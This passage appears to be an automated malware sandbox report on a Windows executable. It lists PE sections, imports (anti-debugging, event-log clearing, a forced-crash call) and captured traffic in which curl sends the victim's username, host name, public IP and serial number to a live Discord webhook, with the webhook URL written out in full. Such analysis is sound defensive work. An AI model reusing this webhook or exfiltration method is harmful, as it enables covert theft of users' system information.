IMAGE_DIRECTORY_ENTRY_SECURITY	0x45400	0x1c80
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x47000	0x110	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x11c50	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x11b10	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x10000	0x5b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xeadf	0xec00	efac4e5070bf8589e67c18078c14ddf5	False	0.4986261917372881	data	6.183615469000689	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x10000	0x6986	0x6a00	11d61899386f43b457b708a0696704e7	False	0.4224277712264151	data	5.168018809604822	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x17000	0xf00	0xa00	157509527a0126437cf9155d09698fcf	False	0.200390625	data	3.928920356631935	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x18000	0xd8c	0xe00	98096472afc420f731802132a2ac25dd	False	0.46484375	data	4.772663047851322	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x19000	0x2dea8	0x2e000	9e2d061b3beb1a8f6c101935a3c5414b	False	0.30647078804347827	data	5.805166306881057	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x47000	0x110	0x200	999cb7eb3ee595af15dabb97b3db2801	False	0.4609375	data	3.5019216086408944	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x19270	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	English	United States	0.5851063829787234
RT_ICON	0x196d8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	English	United States	0.46967213114754097
RT_ICON	0x1a060	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	English	United States	0.39141651031894936
RT_ICON	0x1b108	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	English	United States	0.2992738589211618
RT_ICON	0x1d6b0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	English	United States	0.24557156353330184
RT_ICON	0x218d8	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 20736	English	United States	0.22093345656192237
RT_ICON	0x26d60	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864	English	United States	0.1813380281690141
RT_ICON	0x30208	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	English	United States	0.14613155092866437
RT_ICON	0x40a30	0x6266	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9994839221913457
RT_GROUP_ICON	0x46c98	0x84	data	English	United States	0.75
RT_MANIFEST	0x46d20	0x188	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5892857142857143

Imports

DLL	Import
KERNEL32.dll	GetModuleFileNameW, GetFileAttributesW, SetFileAttributesW, CreateToolhelp32Snapshot, Sleep, Process32NextW, LoadLibraryA, QueryPerformanceFrequency, Process32FirstW, CloseHandle, FreeLibrary, CopyFileW, QueryPerformanceCounter, CheckRemoteDebuggerPresent, ReadFile, CreatePipe, GetCurrentProcess, CreateProcessA, GetVolumeInformationW, IsDebuggerPresent, InitializeSListHead, GetSystemTimeAsFileTime, GetConsoleWindow, SetConsoleCtrlHandler, GetModuleHandleW, GetComputerNameW, GetProcAddress, GetLogicalDriveStringsA, GetVersionExW, GetDriveTypeA, GetCurrentThreadId, GetCurrentProcessId, IsProcessorFeaturePresent, TerminateProcess, SetUnhandledExceptionFilter, UnhandledExceptionFilter, RtlVirtualUnwind, RtlLookupFunctionEntry, RtlCaptureContext, LocalFree, WaitForSingleObject
USER32.dll	ShowWindow, RemoveMenu, GetSystemMenu
ADVAPI32.dll	ClearEventLogW, RegOpenKeyExA, RegCloseKey, RegQueryValueExA, GetUserNameW, CloseEventLog, OpenEventLogW
SHELL32.dll	SHGetKnownFolderPath
ole32.dll	CoTaskMemFree, CoInitializeEx, CoCreateInstance, CoUninitialize
OLEAUT32.dll	SysAllocString, SysFreeString, VariantClear, VariantInit
MSVCP140.dll	?uncaught_exceptions@std@@YAHXZ, ?_New_Locimp@_Locimp@locale@std@@CAPEAV123@AEBV123@@Z, ?_Init@locale@std@@CAPEAV_Locimp@12@_N@Z, ?_Xbad_alloc@std@@YAXXZ, ?_Xlength_error@std@@YAXPEBD@Z, ?id@?$codecvt@_WDU_Mbstatet@@@std@@2V0locale@2@A, ?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z, ?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ, ?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z, ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z, ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ, ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ, ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z, ??4?$_Yarn@D@std@@QEAAAEAV01@PEBD@Z, ??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAA@XZ, ?_Lock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAAXXZ, ?_Unlock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAAXXZ, ?showmanyc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JXZ, ?uflow@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAHXZ, ?xsgetn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JPEAD_J@Z, ?xsputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JPEBD_J@Z, ?setbuf@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAPEAV12@PEAD_J@Z, ?sync@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAHXZ, ?imbue@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAXAEBVlocale@2@@Z, ??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ, ??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ, ?good@ios_base@std@@QEBA_NXZ, ??1?$codecvt@_WDU_Mbstatet@@@std@@MEAA@XZ, ??0?$codecvt@_WDU_Mbstatet@@@std@@QEAA@_K@Z, ?out@?$codecvt@_WDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEB_W1AEAPEB_WPEAD3AEAPEAD@Z, ?_Addfac@_Locimp@locale@std@@AEAAXPEAVfacet@23@_K@Z, ?_Decref@facet@locale@std@@UEAAPEAV_Facet_base@3@XZ, ?_Incref@facet@locale@std@@UEAAXXZ, ??Bid@locale@std@@QEAA_KXZ, ?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A, ?cerr@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A, ?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QEBADD@Z, ?put@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@D@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z, ??1_Lockit@std@@QEAA@XZ, ??0_Lockit@std@@QEAA@H@Z, ?id@?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@2V0locale@2@A, ?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ, _Xtime_get_ticks, ?_Getcat@?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z, ?put@?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AEAVios_base@2@DPEBUtm@@PEBD3@Z, ?getloc@ios_base@std@@QEBA?AVlocale@2@XZ, ?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ
ntdll.dll	RtlAdjustPrivilege, NtRaiseHardError
gdiplus.dll	GdiplusStartup, GdiplusShutdown
CRYPT32.dll	CryptStringToBinaryA
VCRUNTIME140_1.dll	__CxxFrameHandler4
VCRUNTIME140.dll	__current_exception, memset, _CxxThrowException, memmove, __current_exception_context, strstr, memcmp, __std_terminate, __std_exception_copy, __C_specific_handler, memcpy, __std_exception_destroy
api-ms-win-crt-heap-l1-1-0.dll	_set_new_mode, malloc, _callnewh, free
api-ms-win-crt-stdio-l1-1-0.dll	__stdio_common_vsprintf, _pclose, __stdio_common_vswprintf, __p__commode, _set_fmode, __stdio_common_vswprintf_s, fgets, _popen
api-ms-win-crt-runtime-l1-1-0.dll	exit, _exit, _initterm, __p___argc, __p___argv, _cexit, _c_exit, _register_thread_local_exe_atexit_callback, _get_initial_narrow_environment, _initialize_narrow_environment, _configure_narrow_argv, _initialize_onexit_table, _register_onexit_function, _crt_atexit, _set_app_type, _seh_filter_exe, terminate, _invalid_parameter_noinfo_noreturn, _initterm_e
api-ms-win-crt-string-l1-1-0.dll	_wcsicmp
api-ms-win-crt-math-l1-1-0.dll	_dsign, __setusermatherr
api-ms-win-crt-time-l1-1-0.dll	_gmtime64
api-ms-win-crt-locale-l1-1-0.dll	_configthreadlocale, localeconv

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 11:13:53.888947964 CET	49708	443	192.168.2.5	104.26.12.205
Dec 30, 2024 11:13:53.888971090 CET	443	49708	104.26.12.205	192.168.2.5
Dec 30, 2024 11:13:53.889034986 CET	49708	443	192.168.2.5	104.26.12.205
Dec 30, 2024 11:13:53.896933079 CET	49708	443	192.168.2.5	104.26.12.205
Dec 30, 2024 11:13:53.896954060 CET	443	49708	104.26.12.205	192.168.2.5
Dec 30, 2024 11:13:54.339337111 CET	443	49708	104.26.12.205	192.168.2.5
Dec 30, 2024 11:13:54.339412928 CET	49708	443	192.168.2.5	104.26.12.205
Dec 30, 2024 11:13:54.344113111 CET	49708	443	192.168.2.5	104.26.12.205
Dec 30, 2024 11:13:54.344139099 CET	443	49708	104.26.12.205	192.168.2.5
Dec 30, 2024 11:13:54.344352961 CET	443	49708	104.26.12.205	192.168.2.5
Dec 30, 2024 11:13:54.347809076 CET	49708	443	192.168.2.5	104.26.12.205
Dec 30, 2024 11:13:54.395337105 CET	443	49708	104.26.12.205	192.168.2.5
Dec 30, 2024 11:13:54.455058098 CET	443	49708	104.26.12.205	192.168.2.5
Dec 30, 2024 11:13:54.455115080 CET	443	49708	104.26.12.205	192.168.2.5
Dec 30, 2024 11:13:54.455163956 CET	49708	443	192.168.2.5	104.26.12.205
Dec 30, 2024 11:13:54.462182999 CET	49708	443	192.168.2.5	104.26.12.205
Dec 30, 2024 11:13:54.462217093 CET	443	49708	104.26.12.205	192.168.2.5
Dec 30, 2024 11:13:54.559737921 CET	49711	443	192.168.2.5	162.159.128.233
Dec 30, 2024 11:13:54.559782028 CET	443	49711	162.159.128.233	192.168.2.5
Dec 30, 2024 11:13:54.559849024 CET	49711	443	192.168.2.5	162.159.128.233
Dec 30, 2024 11:13:54.565416098 CET	49711	443	192.168.2.5	162.159.128.233
Dec 30, 2024 11:13:54.565432072 CET	443	49711	162.159.128.233	192.168.2.5
Dec 30, 2024 11:13:55.001734018 CET	443	49711	162.159.128.233	192.168.2.5
Dec 30, 2024 11:13:55.001966953 CET	49711	443	192.168.2.5	162.159.128.233
Dec 30, 2024 11:13:55.004633904 CET	49711	443	192.168.2.5	162.159.128.233
Dec 30, 2024 11:13:55.004652023 CET	443	49711	162.159.128.233	192.168.2.5
Dec 30, 2024 11:13:55.004913092 CET	443	49711	162.159.128.233	192.168.2.5
Dec 30, 2024 11:13:55.007596016 CET	49711	443	192.168.2.5	162.159.128.233
Dec 30, 2024 11:13:55.055346012 CET	443	49711	162.159.128.233	192.168.2.5
Dec 30, 2024 11:13:55.262825012 CET	443	49711	162.159.128.233	192.168.2.5
Dec 30, 2024 11:13:55.262893915 CET	443	49711	162.159.128.233	192.168.2.5
Dec 30, 2024 11:13:55.262943983 CET	49711	443	192.168.2.5	162.159.128.233
Dec 30, 2024 11:13:55.271006107 CET	49711	443	192.168.2.5	162.159.128.233
Dec 30, 2024 11:13:55.271034956 CET	443	49711	162.159.128.233	192.168.2.5
Dec 30, 2024 11:13:56.478228092 CET	49714	443	192.168.2.5	104.26.12.205
Dec 30, 2024 11:13:56.478359938 CET	443	49714	104.26.12.205	192.168.2.5
Dec 30, 2024 11:13:56.478446960 CET	49714	443	192.168.2.5	104.26.12.205
Dec 30, 2024 11:13:56.485018969 CET	49714	443	192.168.2.5	104.26.12.205
Dec 30, 2024 11:13:56.485059023 CET	443	49714	104.26.12.205	192.168.2.5
Dec 30, 2024 11:13:56.920701027 CET	443	49714	104.26.12.205	192.168.2.5
Dec 30, 2024 11:13:56.920829058 CET	49714	443	192.168.2.5	104.26.12.205
Dec 30, 2024 11:13:56.922247887 CET	49714	443	192.168.2.5	104.26.12.205
Dec 30, 2024 11:13:56.922261953 CET	443	49714	104.26.12.205	192.168.2.5
Dec 30, 2024 11:13:56.922476053 CET	443	49714	104.26.12.205	192.168.2.5
Dec 30, 2024 11:13:56.925066948 CET	49714	443	192.168.2.5	104.26.12.205
Dec 30, 2024 11:13:56.967338085 CET	443	49714	104.26.12.205	192.168.2.5
Dec 30, 2024 11:13:57.050218105 CET	443	49714	104.26.12.205	192.168.2.5
Dec 30, 2024 11:13:57.050261021 CET	443	49714	104.26.12.205	192.168.2.5
Dec 30, 2024 11:13:57.050307989 CET	49714	443	192.168.2.5	104.26.12.205
Dec 30, 2024 11:13:57.055103064 CET	49714	443	192.168.2.5	104.26.12.205
Dec 30, 2024 11:13:57.055119991 CET	443	49714	104.26.12.205	192.168.2.5
Dec 30, 2024 11:13:57.124243021 CET	49717	443	192.168.2.5	162.159.128.233
Dec 30, 2024 11:13:57.124288082 CET	443	49717	162.159.128.233	192.168.2.5
Dec 30, 2024 11:13:57.124358892 CET	49717	443	192.168.2.5	162.159.128.233
Dec 30, 2024 11:13:57.130630970 CET	49717	443	192.168.2.5	162.159.128.233
Dec 30, 2024 11:13:57.130649090 CET	443	49717	162.159.128.233	192.168.2.5
Dec 30, 2024 11:13:57.567397118 CET	443	49717	162.159.128.233	192.168.2.5
Dec 30, 2024 11:13:57.567470074 CET	49717	443	192.168.2.5	162.159.128.233
Dec 30, 2024 11:13:57.568669081 CET	49717	443	192.168.2.5	162.159.128.233
Dec 30, 2024 11:13:57.568677902 CET	443	49717	162.159.128.233	192.168.2.5
Dec 30, 2024 11:13:57.568908930 CET	443	49717	162.159.128.233	192.168.2.5
Dec 30, 2024 11:13:57.571290970 CET	49717	443	192.168.2.5	162.159.128.233
Dec 30, 2024 11:13:57.615335941 CET	443	49717	162.159.128.233	192.168.2.5
Dec 30, 2024 11:13:57.875379086 CET	443	49717	162.159.128.233	192.168.2.5
Dec 30, 2024 11:13:57.875471115 CET	443	49717	162.159.128.233	192.168.2.5
Dec 30, 2024 11:13:57.875566959 CET	49717	443	192.168.2.5	162.159.128.233
Dec 30, 2024 11:13:57.883138895 CET	49717	443	192.168.2.5	162.159.128.233
Dec 30, 2024 11:13:57.883152962 CET	443	49717	162.159.128.233	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 11:13:53.877573013 CET	62877	53	192.168.2.5	1.1.1.1
Dec 30, 2024 11:13:53.884634972 CET	53	62877	1.1.1.1	192.168.2.5
Dec 30, 2024 11:13:54.549746037 CET	56668	53	192.168.2.5	1.1.1.1
Dec 30, 2024 11:13:54.556687117 CET	53	56668	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 30, 2024 11:13:53.877573013 CET	192.168.2.5	1.1.1.1	0x5fa8	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:13:54.549746037 CET	192.168.2.5	1.1.1.1	0xa8b2	Standard query (0)	discord.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 30, 2024 11:13:53.884634972 CET	1.1.1.1	192.168.2.5	0x5fa8	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:13:53.884634972 CET	1.1.1.1	192.168.2.5	0x5fa8	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:13:53.884634972 CET	1.1.1.1	192.168.2.5	0x5fa8	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:13:54.556687117 CET	1.1.1.1	192.168.2.5	0xa8b2	No error (0)	discord.com	162.159.128.233	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:13:54.556687117 CET	1.1.1.1	192.168.2.5	0xa8b2	No error (0)	discord.com	162.159.137.232	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:13:54.556687117 CET	1.1.1.1	192.168.2.5	0xa8b2	No error (0)	discord.com	162.159.136.232	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:13:54.556687117 CET	1.1.1.1	192.168.2.5	0xa8b2	No error (0)	discord.com	162.159.138.232	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:13:54.556687117 CET	1.1.1.1	192.168.2.5	0xa8b2	No error (0)	discord.com	162.159.135.232	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

discord.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	104.26.12.205	443	5776	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:13:54 UTC	77	OUT	GET / HTTP/1.1 Host: api.ipify.org User-Agent: curl/7.83.1 Accept: /
2024-12-30 10:13:54 UTC	424	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 10:13:54 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8fa14286ff78428e-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1564&min_rtt=1558&rtt_var=597&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2820&recv_bytes=715&delivery_rate=1814791&cwnd=222&unsent_bytes=0&cid=c4770ca71d3cc9d0&ts=125&x=0"
2024-12-30 10:13:54 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 Data Ascii: 8.46.123.189

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49711	162.159.128.233	443	4196	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:13:55 UTC	230	OUT	POST /api/webhooks/1321328602792460330/Q9CQMUqhPmnLA8YCGFiWcN1qsmd8SzEzHV5RcFrIuYx8UWU2bSG3fdw4gr1C7AVhJQhm HTTP/1.1 Host: discord.com User-Agent: curl/7.83.1 Accept: / Content-Type: application/json Content-Length: 483
2024-12-30 10:13:55 UTC	483	OUT	Data Raw: 7b 22 65 6d 62 65 64 73 22 3a 5b 7b 22 63 6f 6c 6f 72 22 3a 31 36 37 31 31 36 38 30 2c 22 66 69 65 6c 64 73 22 3a 5b 7b 22 69 6e 6c 69 6e 65 22 3a 66 61 6c 73 65 2c 22 6e 61 6d 65 22 3a 22 6c 6f 63 61 6c 20 75 73 65 72 22 2c 22 76 61 6c 75 65 22 3a 22 61 6c 66 6f 6e 73 22 7d 2c 7b 22 69 6e 6c 69 6e 65 22 3a 66 61 6c 73 65 2c 22 6e 61 6d 65 22 3a 22 73 79 73 74 65 6d 20 6e 61 6d 65 22 2c 22 76 61 6c 75 65 22 3a 22 35 37 31 33 34 35 22 7d 2c 7b 22 69 6e 6c 69 6e 65 22 3a 66 61 6c 73 65 2c 22 6e 61 6d 65 22 3a 22 69 70 20 61 64 64 72 65 73 73 22 2c 22 76 61 6c 75 65 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 7d 2c 7b 22 69 6e 6c 69 6e 65 22 3a 66 61 6c 73 65 2c 22 6e 61 6d 65 22 3a 22 73 65 72 69 61 6c 20 6e 75 6d 62 65 72 22 2c 22 76 61 6c 75 65 22 3a Data Ascii: {"embeds":[{"color":16711680,"fields":[{"inline":false,"name":"local user","value":"user"},{"inline":false,"name":"system name","value":"571345"},{"inline":false,"name":"ip address","value":"8.46.123.189"},{"inline":false,"name":"serial number","value":
2024-12-30 10:13:55 UTC	1350	IN	HTTP/1.1 204 No Content Date: Mon, 30 Dec 2024 10:13:55 GMT Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: __dcfduid=c6a792bac69611ef81656a71a21a7c43; Expires=Sat, 29-Dec-2029 10:13:55 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1735553636 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DO8BbmeK7aF81qULJBIHHlvlydLY6q7wZPxUgI8zOa%2Bjemgk0H9hsXBrP44qq5aaw8rWJB53YaHT5FyLz3dYdg99jsHeBe5qxtmGoH3LiU7czOC7lDEfXSr15YYR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=c6a792bac69611ef81656a71a21a7c4323195f739f745fb859996eb7d20b263716662e1b2541728398f69788aac6422c; Expires=Sat, 29-Dec-2029 10:13:55 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cfruid=a6fb67675c6458db05633ea3a4f2045db740914f-1735553635; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
2024-12-30 10:13:55 UTC	211	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 57 79 68 54 48 30 73 76 4a 71 41 59 62 49 37 32 42 48 6a 6f 31 52 70 41 69 48 7a 48 70 34 6a 55 76 69 72 50 53 74 58 6f 62 77 67 2d 31 37 33 35 35 35 33 36 33 35 32 31 35 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 61 31 34 32 38 62 33 39 66 30 30 63 61 63 2d 45 57 52 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=WyhTH0svJqAYbI72BHjo1RpAiHzHp4jUvirPStXobwg-1735553635215-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8fa1428b39f00cac-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49714	104.26.12.205	443	4144	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:13:56 UTC	77	OUT	GET / HTTP/1.1 Host: api.ipify.org User-Agent: curl/7.83.1 Accept: /
2024-12-30 10:13:57 UTC	424	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 10:13:57 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8fa14297390542ca-EWR server-timing: cfL4;desc="?proto=TCP&rtt=2384&min_rtt=2376&rtt_var=907&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2820&recv_bytes=715&delivery_rate=1196231&cwnd=252&unsent_bytes=0&cid=fc6f3507a35fe69a&ts=134&x=0"
2024-12-30 10:13:57 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 Data Ascii: 8.46.123.189

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49717	162.159.128.233	443	3128	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:13:57 UTC	230	OUT	POST /api/webhooks/1321328602792460330/Q9CQMUqhPmnLA8YCGFiWcN1qsmd8SzEzHV5RcFrIuYx8UWU2bSG3fdw4gr1C7AVhJQhm HTTP/1.1 Host: discord.com User-Agent: curl/7.83.1 Accept: / Content-Type: application/json Content-Length: 483
2024-12-30 10:13:57 UTC	483	OUT	Data Raw: 7b 22 65 6d 62 65 64 73 22 3a 5b 7b 22 63 6f 6c 6f 72 22 3a 31 36 37 31 31 36 38 30 2c 22 66 69 65 6c 64 73 22 3a 5b 7b 22 69 6e 6c 69 6e 65 22 3a 66 61 6c 73 65 2c 22 6e 61 6d 65 22 3a 22 6c 6f 63 61 6c 20 75 73 65 72 22 2c 22 76 61 6c 75 65 22 3a 22 61 6c 66 6f 6e 73 22 7d 2c 7b 22 69 6e 6c 69 6e 65 22 3a 66 61 6c 73 65 2c 22 6e 61 6d 65 22 3a 22 73 79 73 74 65 6d 20 6e 61 6d 65 22 2c 22 76 61 6c 75 65 22 3a 22 35 37 31 33 34 35 22 7d 2c 7b 22 69 6e 6c 69 6e 65 22 3a 66 61 6c 73 65 2c 22 6e 61 6d 65 22 3a 22 69 70 20 61 64 64 72 65 73 73 22 2c 22 76 61 6c 75 65 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 7d 2c 7b 22 69 6e 6c 69 6e 65 22 3a 66 61 6c 73 65 2c 22 6e 61 6d 65 22 3a 22 73 65 72 69 61 6c 20 6e 75 6d 62 65 72 22 2c 22 76 61 6c 75 65 22 3a Data Ascii: {"embeds":[{"color":16711680,"fields":[{"inline":false,"name":"local user","value":"user"},{"inline":false,"name":"system name","value":"571345"},{"inline":false,"name":"ip address","value":"8.46.123.189"},{"inline":false,"name":"serial number","value":
2024-12-30 10:13:57 UTC	1354	IN	HTTP/1.1 204 No Content Date: Mon, 30 Dec 2024 10:13:57 GMT Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: __dcfduid=c835fb62c69611ef863f966620e4c59f; Expires=Sat, 29-Dec-2029 10:13:57 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1735553639 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bfFxL5BkqUOdgq4srbTEipjgsj0H9CNzXuLs4XwCz94rbH2hAqKn2nNKW3CeDFXdPrhlaJPwTchSOlR5Y%2Bkjx%2FGndss9g7V%2FCRpdjfLIhr5opgvmFPsDuyCLrTgl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=c835fb62c69611ef863f966620e4c59f511aac810e3678fd80b198e49d5880759e6e32fb73411edecef8c7f8789f128d; Expires=Sat, 29-Dec-2029 10:13:57 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cfruid=ab78eebfe44a05b76b2400de2d48a71ed5b19135-1735553637; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
